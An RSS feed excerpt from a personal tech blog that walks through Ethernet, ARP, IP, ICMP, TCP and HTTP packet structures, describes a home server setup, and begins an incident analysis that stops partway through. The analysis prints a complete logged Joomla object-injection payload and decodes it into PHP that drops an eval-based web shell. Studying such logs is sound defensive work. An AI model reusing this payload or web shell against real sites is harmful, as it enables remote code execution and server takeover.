            <link>https://deadlime.hu/en/2023/09/30/lost-in-the-network/</link>
            <pubDate>Sat, 30 Sep 2023 19:58:42 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[network]]></category>
                    <category><![CDATA[security]]></category>
                    
            <guid isPermaLink="false">7fd8ed9e60bc60261d47e7adf21727c5</guid>
            <description>A deep dive into the intriguing world of network packets</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/man_in_the_middle.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Now with extra fingers for the more efficient hacking experience!</p>

<p>Have you ever wondered what happens behind the scenes when you send an HTTP request? How do the bits know where to go when you ping someone on the local network? Today, we will try to find answers to such questions.</p>
<p>At first, I didn't know how to approach the problem. Do I take an HTTP request and dig down to the bottom or start from the bottom until I'm able to construct an HTTP request? In the end, I decided on the latter.</p>
<p>It may be a bit more alien at the beginning, but I hope it'll make sense in the end. We'll go along the layers defined in the OSI model, so let's start with the hardware.</p>
<h3>Physical layer</h3>
<p>Chances are that everyone has an Ethernet network at home, something like this:</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/lan.png" width="480" height="420" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">The modem, the router, and the switch may happen to live in the same box.</p>

<p>It's called the physical layer: a bunch of network devices, tied together with copper strings (or wireless devices tied together with magic). Each network device has a unique MAC address, assigned in the factory. There's a lot more interesting stuff to look into here (like how devices communicate with each other about which speeds they support), but personally, there's not much more I can tell you about it, so let's move on to the next layer, the data link layer.</p>
<h3>Data link layer</h3>
<p>At this layer, the zeros and ones we know so well finally appear. We have what's called the Ethernet frame, which is a unit of data that we can send at a time. It looks something like this:</p>
<table>
<tbody>
  <tr>
    <td nowrap>6 bytes</td>
    <td>MAC address of the recipient</td>
  </tr>
  <tr>
    <td nowrap>6 bytes</td>
    <td>MAC address of the sender</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>type of the data (<code>0x0800</code> for IP, <code>0x0806</code> for ARP)</td>
  </tr>
  <tr>
    <td nowrap>46-1500 bytes</td>
    <td>the data</td>
  </tr>
  <tr>
    <td nowrap>4 bytes</td>
    <td>checksum</td>
  </tr>
</tbody>
</table>
<p>Interesting that the sender needs to tell who the sender is. What happens if someone else's MAC address is entered there? Is it possible to do something naughty with this?</p>
<p>Two interesting things to note here. One is MAC spoofing, where we are not happy with the MAC address assigned by the hardware vendor and we want to change it. Say because our ISP's device only works with a fixed MAC address. Or there are Android phones, which by default connect to a Wi-Fi network with a random MAC address so that the phone cannot be tracked between networks.</p>
<p>The other interesting thing is MAC flooding, where the attacker sets up a bunch of random MAC addresses as senders. This fills up the entire MAC address table of the switch, leaving no room for the real MAC addresses. This usually has the consequence that the recipient MAC address of an incoming real packet will not be found in the MAC address table, causing it to be sent out to everyone. This allows attackers to peek into the contents of packets that are not intended for them.</p>
<p>The observant reader may also notice that there is no mention of the so-called IP addresses that we normally use. For that, we need to move on to the next level, which is the network layer.</p>
<h3>Network layer</h3>
<p>There are several interesting protocols to be mentioned here, all of which will be placed in the data part of the Ethernet frame. First, we need to know what MAC address is associated with a given IP address.</p>
<h4>Address Resolution Protocol</h4>
<p>ARP helps us with this, we can send a request to which the owner of the IP address can respond. The message structure:</p>
<table>
<tbody>
  <tr>
    <td nowrap>2 bytes</td>
    <td>hardware type (<code>0x0001</code> for Ethernet)</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>protocol type (<code>0x0800</code> for IP)</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>hardware length (<code>0x06</code> for Ethernet, because the MAC address is 6 bytes long)</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>protocol length (<code>0x04</code> for IP, because an IP (v4) address is 4 bytes long)</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>operation (<code>0x0001</code> is the request, <code>0x0002</code> is the response)</td>
  </tr>
  <tr>
    <td nowrap>6 bytes</td>
    <td>sender's hardware address</td>
  </tr>
  <tr>
    <td nowrap>4 bytes</td>
    <td>sender's protocol address</td>
  </tr>
  <tr>
    <td nowrap>6 bytes</td>
    <td>recipient's hardware address</td>
  </tr>
  <tr>
    <td nowrap>4 bytes</td>
    <td>recipient's protocol address</td>
  </tr>
</tobdy>
</table>
<p>Let's add IP addresses to the above diagram and see a concrete example of a request and response.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/lan2.png" width="480" height="420" alt="" title="" loading="lazy" />
</p>

<p>Say Alice wants to ping Bob, so she asks which MAC address the IP address <code>192.168.1.103</code> belongs to. The request (the green part belongs to the Ethernet frame, the blue part to the ARP request):</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0xFFFFFFFFFFFF</code></td>
    <td>recipient (everybody)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000002</code></td>
    <td>sender (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0806</code></td>
    <td>ARP type of data</td>
  </tr>
  <tr class="blue">
    <td><code>0x0001</code></td>
    <td>Ethernet hardware</td>
  </tr>
  <tr class="blue">
    <td><code>0x0800</code></td>
    <td>IP protocol</td>
  </tr>
  <tr class="blue">
    <td><code>0x06</code></td>
    <td>MAC address is 6 bytes long</td>
  </tr>
  <tr class="blue">
    <td><code>0x04</code></td>
    <td>IP address is 4 bytes long</td>
  </tr>
  <tr class="blue">
    <td><code>0x0001</code></td>
    <td>it's a request packet</td>
  </tr>
  <tr class="blue">
    <td><code>0x0A0000000002</code></td>
    <td>sender's (Alice) MAC address</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>sender's (Alice) IP address</td>
  </tr>
  <tr class="blue">
    <td><code>0x000000000000</code></td>
    <td>recipient's (Bob) MAC address</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>recipient's (Bob) IP address</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>checksum</td>
  </tr>
</tbody>
</table>
<p>The IP addresses are in hexadecimal format, <a href="https://gchq.github.io/CyberChef/#recipe=Change_IP_format(&#x27;Dotted%20Decimal&#x27;,&#x27;Hex&#x27;)&amp;input=MTkyLjE2OC4xLjEwMw">CyberChef is a nice tool for converting</a>. In a request packet, the MAC address of the recipient can be anything, its value will be ignored.</p>
<p>Bob receives this request and since his IP address is <code>192.168.1.103</code>, he sends a reply:</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0x0A0000000002</code></td>
    <td>recipient (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000003</code></td>
    <td>sender (Bob)</td>
  </tr>
  <tr class="green">
    <td><code>0x0806</code></td>
    <td>ARP type of data</td>
  </tr>
  <tr class="blue">
    <td><code>0x0001</code></td>
    <td>Ethernet hardware</td>
  </tr>
  <tr class="blue">
    <td><code>0x0800</code></td>
    <td>IP protocol</td>
  </tr>
  <tr class="blue">
    <td><code>0x06</code></td>
    <td>MAC address is 6 bytes long</td>
  </tr>
  <tr class="blue">
    <td><code>0x04</code></td>
    <td>IP address is 4 bytes long</td>
  </tr>
  <tr class="blue">
    <td><code>0x0002</code></td>
    <td>it's a response packet</td>
  </tr>
  <tr class="blue">
    <td><code>0x0A0000000003</code></td>
    <td>sender's (Bob) MAC address</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>sender's (Bob) IP address</td>
  </tr>
  <tr class="blue">
    <td><code>0x0A0000000002</code></td>
    <td>recipient's (Alice) MAC address</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>recipient's (Alice) IP address</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>checksum</td>
  </tr>
</tbody>
</table>
<p>Here again, the question arises, what happens if Bob is not the only one who replies to the request, but the evil Mallory as well? Could Alice be sending her messages for Bob to the wrong place?</p>
<p>The devices have something called an ARP cache, which holds the IP address - MAC address mappings so that you don't have to ask every time. For Alice, it might look something like this:</p>
<pre class="console"><code>$ ip -br neigh
192.168.1.103                           eth0             0a:00:00:00:00:03
192.168.1.104                           eth0             0a:00:00:00:00:04
192.168.1.1                             eth0             0a:00:00:00:00:01
</code></pre>
<p>This cache is also updated when an ARP response is received without being requested, which means that if Mallory starts flooding the network with fake ARP responses (telling Alice that he is the router, telling the router that he is Alice), and forwards packets passing through it to the original recipients, he can intercept (or even alter) Alice's Internet traffic without Alice noticing anything.</p>
<h4>Internet Protocol</h4>
<p>The following protocol is IP, which finally gives us IP addresses and the ability to exchange data between two IP addresses. The IP packet structure:</p>
<table>
<tbody>
  <tr>
    <td nowrap>4 bits</td>
    <td>version (<code>0b0100</code> for IPv4)</td>
  </tr>
  <tr>
    <td nowrap>4 bits</td>
    <td>header size (usually <code>0b0101</code>)</td>
  </tr>
  <tr>
    <td nowrap>8 bits</td>
    <td>various settings I don't quite understand, we can send <code>0b00000000</code>, that wouldn't hurt :)</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>size of the whole packet</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>identification (for grouping message fragments)</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>data related to fragments (an IP packet we want to send may be too big for an Ethernet frame so we need to split it into multiple packets), by default it's <code>0x00</code></td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>TTL (Time-to-live), it decreases by one when a packet goes through a network device, if it reaches zero, the device drops the packet</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>protocol used in the data (<code>0x01</code> for ICMP, <code>0x06</code> for TCP, <code>0x11</code> for UDP)</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>checksum</td>
  </tr>
  <tr>
    <td nowrap>4 bytes</td>
    <td>sender's IP address</td>
  </tr>
  <tr>
    <td nowrap>4 bytes</td>
    <td>recipient's IP address</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>data</td>
  </tr>
</tbody>
</table>
<h4>Internet Control Message Protocol</h4>
<p>Since we mentioned ping earlier, we should mention ICMP. It's a strange beast, it belongs to the network layer, but it feels like it should be in the transport layer. It's wrapped into an IP packet in the same way as UDP or TCP, only it's not for data transport. In the case of ping, the message is structured somewhat like this:</p>
<table>
<tbody>
  <tr>
    <td nowrap>1 byte</td>
    <td>type (<code>0x08</code> is ping request, <code>0x00</code> is ping response)</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>code (not used in case of ping)</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>checksum</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>identifier (to pair a request with a response)</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>sequence number (to pair a request with a response)</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>optional data</td>
  </tr>
</tbody>
</table>
<p>Alice already knows Bob's MAC address, so she can finally send the ping she originally wanted, which Bob can then reply to. The request looks something like this (the green part is for the Ethernet frame, the blue part is the IP packet, the red part is ICMP):</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0x0A0000000003</code></TD>
    <td>recipient's MAC address (Bob)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000002</code></TD>
    <td>sender's MAC address (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0800</code></td>
    <td>IP type data</td>
  </tr>
  <tr class="blue">
    <td><code>0b01000101</code></td>
    <td>version and header size</td>
  </tr>
  <tr class="blue">
    <td><code>0b00000000</code></td>
    <td>settings we don't care about</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>the size of the full packet</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>identifier</td>
  </tr>
  <tr class="blue">
    <td><code>0x00</code></td>
    <td>splitting related data</td>
  </tr>
  <tr class="blue">
    <td><code>0xFF</code></td>
    <td>TTL</td>
  </tr>
  <tr class="blue">
    <td><code>0x01</code></td>
    <td>ICMP packet</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>checksum</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>sender's IP address (Alice)</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>recipient's IP address (Bob)</td>
  </tr>
  <tr class="red">
    <td><code>0x08</code></td>
    <td>ping request type</td>
  </tr>
  <tr class="red">
    <td><code>0x00</code></td>
    <td>unused data</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>checksum</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>identifier</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>serial number</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>checksum</td>
  </tr>
</tbody>
</table>
<p>To which Bob sends the following reply:</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0x0A0000000002</code></TD>
    <td>recipient's MAC address (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000003</code></TD>
    <td>sender's MAC address (Bob)</td>
  </tr>
  <tr class="green">
    <td><code>0x0800</code></td>
    <td>IP type data</td>
  </tr>
  <tr class="blue">
    <td><code>0b01000101</code></td>
    <td>version and header size</td>
  </tr>
  <tr class="blue">
    <td><code>0b00000000</code></td>
    <td>settings we don't care about</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>the size of the full packet</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>identifier</td>
  </tr>
  <tr class="blue">
    <td><code>0x00</code></td>
    <td>splitting related data</td>
  </tr>
  <tr class="blue">
    <td><code>0xFF</code></td>
    <td>TTL</td>
  </tr>
  <tr class="blue">
    <td><code>0x01</code></td>
    <td>ICMP packet</td>
  </tr>
  <tr class="blue">
    <td><code>0x????</code></td>
    <td>checksum</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>sender's IP address (Bob)</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>recipient's IP address (Alice)</td>
  </tr>
  <tr class="red">
    <td><code>0x00</code></td>
    <td>ping response type</td>
  </tr>
  <tr class="red">
    <td><code>0x00</code></td>
    <td>unused data</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>checksum</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>identifier (what Alice sent)</td>
  </tr>
  <tr class="red">
    <td><code>0x????</code></td>
    <td>serial number (what Alice sent)</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>checksum</td>
  </tr>
</tbody>
</table>
<p>It's getting complicated, and we are far from the end. Did you notice that there was no mention of ports? It wasn't by mistake, at this point the concept of a port does not exist, it is time for us to move up yet another level.</p>
<h3>Transport layer</h3>
<p>If you've ever opened sockets in any programming language, you'll be familiar with the protocols found here. Let's start with the easy one.</p>
<h4>User Datagram Protocol</h4>
<p>As mentioned above, UDP is the easier one. There's no guarantee that the packet will arrive, no retransmission for lost packets, you just yell into one end of the pipe and hope that the other end will hear it. A packet looks like this:</p>
<table>
<tbody>
  <tr>
    <td nowrap>2 bytes</td>
    <td>sender's port</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>recipient's port</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>the full size of the packet</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>checksum</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>optional data</td>
  </tr>
</tbody>
</table>
<p>The sender port is also optional, if it is not set to zero, then the response packets are expected on that port.</p>
<h4>Transmission Control Protocol</h4>
<p>And this brings us to the famous and popular TCP. The cornerstone of the pack-everything-in-your-browser-and-serve-it-over-HTTP-based Internet. Until the wide adoption of HTTP/3, which uses UDP. A packet looks like this:</p>
<table>
<tbody>
  <tr>
    <td nowrap>2 bytes</td>
    <td>sender's port</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>recipient's port</td>
  </tr>
  <tr>
    <td nowrap>4 bytes</td>
    <td>sequence number</td>
  </tr>
  <tr>
    <td nowrap>4 bytes</td>
    <td>acknowledgment number</td>
  </tr>
  <tr>
    <td nowrap>4 bits</td>
    <td>header size (the number of 4 byte blocks)</td>
  </tr>
  <tr>
    <td nowrap>4 bits</td>
    <td>reserved, unused bits</td>
  </tr>
  <tr>
    <td nowrap>8 bits</td>
    <td>flags (<code>SYN</code>, <code>FIN</code>, <code>ACK</code>, <code>URG</code> and the others)</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>window size</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>checksum</td>
  </tr>
  <tr>
    <td nowrap>2 bytes</td>
    <td>offset for the last urgent data byte (if the packet is <code>URG</code>)</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>optional settings</td>
  </tr>
  <tr>
    <td nowrap>&nbsp;</td>
    <td>optional data</td>
  </tr>
</tbody>
</table>
<p>It's not just the structure of the packet that is important, but the little dance that the client and server do to exchange data. The connection must be established and closed, and both parties have to acknowledge that they have received the data sent by the other.</p>
<h5>Establishing a connection</h5>
<ol>
<li>the client sends a <code>SYN</code> packet<br />
(the sequence number is 0, as this is the first packet from the client)</li>
<li>the server replies with a <code>SYN</code>, <code>ACK</code> packet<br />
(the sequence number is 0, as this is the first packet to the server, the acknowledgment number is 1, as the sequence number received before was 0 and no data was included, so the next packet will be expected to have the sequence number of 1)</li>
<li>the client responds with an <code>ACK</code> packet<br />
(the sequence number is 1, the acknowledgment number is 1)</li>
</ol>
<h5>Data exchange</h5>
<ol>
<li>the client sends 10 bytes of data<br />
(the serial number is 1)</li>
<li>the server replies with an <code>ACK</code> packet<br />
(the sequence number is 1, and the acknowledgment number is 11 since the previous sequence number was 1 and 10 bytes of data were received)</li>
<li>the server sends 100 bytes of data<br />
(the sequence number is 1)</li>
<li>the client replies with an <code>ACK</code> packet<br />
(the sequence number is 11, the acknowledgment number is 101)</li>
</ol>
<h5>Closing the connection</h5>
<ol>
<li>the client sends a <code>FIN</code> packet<br />
(the sequence number 11)</li>
<li>the server replies with a <code>FIN</code>, <code>ACK</code> packet<br />
(sequence number 101, acknowledgment number is 12)</li>
<li>the client replies with an <code>ACK</code> packet<br />
(the sequence number is 12, and the acknowledgment number is 102)</li>
</ol>
<h3>Application layer</h3>
<p>We elegantly skip two layers, the session layer and the presentation layer. The session layer contains the SOCKS protocol for example, and the scope of the presentation layer often merges with the application layer.</p>
<p>The application layer can be, for example, HTTP. Using the knowledge gained above, let's see what happens when Alice runs a simple <code>curl www.example.org</code> command.</p>
<p>To be able to tell this, we need to know Alice's network settings. Suppose something like this is configured:</p>
<pre><code>auto eth0
iface eth0 inet static
      address 192.168.1.102
      netmask 255.255.255.0
      gateway 192.168.1.1
      dns-nameservers 1.1.1.1
</code></pre>
<ul>
<li>we can do nothing with the <code>www.example.org</code> domain, we need an IP address</li>
<li>the configured DNS IP address is not on the local network, so the request has to be sent to the router (gateway)</li>
<li>send an ARP request to find out the MAC address of the router</li>
<li>send a UDP packet to the MAC address of the router with the DNS IP address in the IP packet</li>
<li>the router sees that it is not the recipient, so it forwards the packet to the Internet (NAT and connection tracking are also involved here so that the router's public IP address is visible in the packet on the way out and it knows who to forward the reply to)</li>
<li>a reply UDP packet arrives from the Internet, the router sees that it is not the recipient</li>
<li>because of connection tracking, the router knows where to forward the packet</li>
<li>forward UDP packet to Alice</li>
<li>IP address of <code>www.example.org</code> is <code>X.X.X.X</code></li>
<li>establish a TCP connection, make an HTTP request</li>
<li>the address <code>X.X.X.X</code> is not on the local network, so TCP packets are sent to the MAC address of the router with the corresponding destination IP address</li>
<li>reply packets are forwarded by the router to Alice</li>
<li>closing the TCP connection</li>
<li>ARP requests are probably not needed at this point because they are cached</li>
</ul>
<p>Another question that may arise is how to know that an IP address is not on the local network. From the <code>address</code>/<code>netmask</code>/<code>gateway</code> settings above, a routing table is generated that looks something like this:</p>
<pre class="console"><code>$ sudo route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0
</code></pre>
<p>I don't say I know exactly how this works, but I would guess that it will pick the narrowest match or start from the end and work backward and pick the first match, but the point is, if something is in the range <code>192.168.1.0</code>-<code>192.168.1.255</code> it will just simply send it out to the appropriate MAC address, for all other IP addresses it will send the packet to the MAC address associated with the IP address <code>192.168.1.1</code>. The router has a similar routing table to decide what to do with the incoming packets.</p>
<h3>Summary</h3>
<p>I hope I have managed to get a glimpse of what happens &quot;underneath&quot; us when we use the Internet. There are a lot of things going on through many layers and we have only managed to scratch the surface a little bit.</p>
<p>We didn't even get very far, just ventured as far as the router. What's beyond that... is a world of its own, with things like DSL, SDH, PPP, MPLS, BGP, OSPF, and a bunch of other acronyms I don't even know about. And yet, in most cases, our packets get to the right recipients. What is this if not magic?</p>

]]></content:encoded>
        </item>
            <item>
            <title>Server in the house</title>
            <link>https://deadlime.hu/en/2023/08/04/server-in-the-house/</link>
            <pubDate>Fri, 04 Aug 2023 19:35:00 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[hardware]]></category>
                    
            <guid isPermaLink="false">af50d997907b6577c691d4d01a284a84</guid>
            <description>Servers can also work from home</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/home_servers.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Somehow I've always been attracted to the idea of having a home server. The first one was an ancient desktop PC with a retro gray case on which we installed Debian. It was the start of my journey with Linux. Later, I snatched a used Dell OptiPlex Gx240, which lasted until the Raspberry Pi Model B came out. From then on, I used Raspberry Pi as a home server for quite a long time, always switching to the latest version.</p>
<p>But ARM-based systems aren't without their own problems. Some things didn't work, there were missing packages or it needed cross-compiling. Not to mention that the Raspberry Pi is not a powerhouse either. I had an eye on the x86 architecture for a while, especially the <a href="https://www.intel.com/content/www/us/en/products/details/nuc.html">Intel NUC</a> product line, but in the end, I replaced my home server needs with cloud servers.</p>
<p>At some point, <a href="https://deadlime.hu/en/2022/06/07/migration-and-madness/">I moved down from the cloud</a> and currently have three servers running at home.</p>
<h3>File server</h3>
<p>A descendant of the old Raspberry Pi servers, a Model B 4 with 4 GB of RAM. Later I attached a 4 TB external drive to it, since then it has been used mainly as a file server with Samba. It also runs <a href="https://syncthing.net/">Syncthing</a>, which I use for file synchronization between my machines.</p>
<p>It also has a partner in crime, a similar Raspberry Pi 4 Model B (probably with 4 GB of RAM as well, but I'm too lazy to check) running <a href="https://libreelec.tv/">LibreELEC</a> for making the TV smarter, but I wouldn't count that as a server.</p>
<h3>The old router</h3>
<p>At one time I ran across a lot of articles about how cool it is to build your own router from PC parts. So I got to build one in <a href="https://en.wikipedia.org/wiki/Mini-ITX">Mini-ITX</a> size:</p>
<ul>
<li><a href="https://www.chieftec.eu/products-detail/88/IX-03B-OP">Chieftec IX-03B-OP</a> case</li>
<li><a href="https://www.gigabyte.com/Motherboard/GA-N3160N-D3V-rev-10">Gigabyte GA-N3160N-D3V</a> motherboard</li>
<li><a href="https://ark.intel.com/content/www/us/en/ark/products/91831/intel-celeron-processor-n3160-2m-cache-up-to-2-24-ghz.html">Intel Celeron N3160</a> integrated CPU</li>
<li>8 GB RAM</li>
<li>SATA SSD</li>
<li>passive cooling</li>
</ul>
<p>It was really cool, I learned a lot, but after a while, it was too much of an inconvenience. I switched back to a normal router, but I kept the machine and a few services that still run from here. It has a recursive DNS resolver that also works as a DNS-based ad blocker (like <a href="https://pi-hole.net/">Pi-hole</a>, but homemade) and a <a href="https://deadlime.hu/en/2020/09/23/diskless-raspberry-pi/">TFTP/NFS server for the Raspberry Pi with LibreELEC</a>. It had an OpenVPN server as well, but I started to migrate it to WireGuard and never finished, so I got neither of them now.</p>
<h3>Application server</h3>
<p>The old router wasn't meant to be a powerful machine, I needed something else to run applications on. I really liked the Mini-ITX form factor, so I packed up a similar little box as the router:</p>
<ul>
<li>the same Chieftec IX-03B-OP case</li>
<li><a href="https://www.asus.com/motherboards-components/motherboards/prime/prime-h410i-plus/">Asus PRIME H410I-PLUS</a> motherboard</li>
<li><a href="https://www.intel.com/content/www/us/en/products/sku/199283/intel-core-i310100-processor-6m-cache-up-to-4-30-ghz/specifications.html">Intel Core i3-10100</a> CPU</li>
<li>16 GB RAM</li>
<li>NVMe SSD</li>
<li>active cooling</li>
</ul>
<p>The machine is running a Docker Swarm, with Portainer and Traefik (<a href="https://deadlime.hu/en/2022/06/07/migration-and-madness/">details in the moving post</a>). I tried out many things on it (Elastic Stack, Nextcloud, MQTT server for sensors). Currently, it is only running a GitLab instance (Git server, container/package registry, build server) and a MediaWiki. Maybe I could replace the latter with GitLab's built-in Wiki page as well.</p>
<p>And I think that's it. I hope you've been inspired by it and are already planning your new server. If you're just starting out on the (not particularly) bumpy road of home server ownership, a Raspberry Pi with the official Raspberry Pi OS Lite might be a good place to start (if it isn't out of stock). Relatively cheap, well-supported hardware, can handle quite a few self-hosted applications. Then, as you experience shortcomings along the way, you can look for alternative solutions.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Advanced code reuse</title>
            <link>https://deadlime.hu/en/2023/07/14/advanced-code-reuse/</link>
            <pubDate>Fri, 14 Jul 2023 15:22:47 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[security]]></category>
                    <category><![CDATA[PHP]]></category>
                    <category><![CDATA[MySQL]]></category>
                    
            <guid isPermaLink="false">c592525aae62e7b1c54fc565326a76a6</guid>
            <description>You&#039;d never guess what a little creativity could do with old, boring classes</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/hacker.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Years ago I gave an in-house talk about a vulnerability that's so tangled, so improbable, that it still amazes me to this day.</p>
<p>It all started with a remarkably strange line in the web server logs. You could find a lot of strange lines in the logs of a web server connected to the public Internet, but remarkably strange ones...</p>
<pre class="console-wrap"><code>192.0.2.1 - - [16/Oct/2018:17:33:48 +0000] &quot;GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1&quot; 301 178 &quot;-&quot; &quot;}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:46:\x22eval($_REQUEST[1]);JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86&quot;
</code></pre>
<p>There are two interesting parts to this request. The data in the GET parameter (named <code>1</code>) and the value of the user agent (the part between quotes at the end). Let's look at the GET parameter first.</p>
<h3>Remote access</h3>
<p>After decoding and some formatting, we get the following PHP code (by the way, <a href="https://gchq.github.io/CyberChef/#recipe=URL_Decode()Generic_Code_Beautify()Syntax_highlighter(&#x27;auto%20detect&#x27;)&amp;input=JTQwaW5pX3NldCUyOCUyMmRpc3BsYXlfZXJyb3JzJTIyJTJDJTIyMCUyMiUyOSUzQiU0MHNldF90aW1lX2xpbWl0JTI4MCUyOSUzQiU0MHNldF9tYWdpY19xdW90ZXNfcnVudGltZSUyODAlMjklM0JlY2hvJTIwJTI3LSUzRSU3QyUyNyUzQmZpbGVfcHV0X2NvbnRlbnRzJTI4JTI0X1NFUlZFUiU1QiUyN0RPQ1VNRU5UX1JPT1QlMjclNUQuJTI3L3dlYmNvbmZpZy50eHQucGhwJTI3JTJDYmFzZTY0X2RlY29kZSUyOCUyN1BEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYk1WMHBPejglMkIlMjclMjklMjklM0JlY2hvJTIwJTI3JTdDJTNDLSUyNyUzQg">CyberChef</a> is a great tool to do such things):</p>
<pre><code class="hljs php">@ini_set(<span class="hljs-string">"display_errors"</span>,<span class="hljs-string">"0"</span>);
@set_time_limit(<span class="hljs-number">0</span>);
@set_magic_quotes_runtime(<span class="hljs-number">0</span>);

<span class="hljs-keyword">echo</span> <span class="hljs-string">'-&gt;|'</span>;
file_put_contents(
  $_SERVER[<span class="hljs-string">'DOCUMENT_ROOT'</span>].<span class="hljs-string">'/webconfig.txt.php'</span>,
  base64_decode(<span class="hljs-string">'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'</span>)
);
<span class="hljs-keyword">echo</span> <span class="hljs-string">'|&lt;-'</span>;
</code></pre>
<p>It tries to write something into the <code>webconfig.txt.php</code> file. After a quick <code>base64_decode</code>, we get another code:</p>
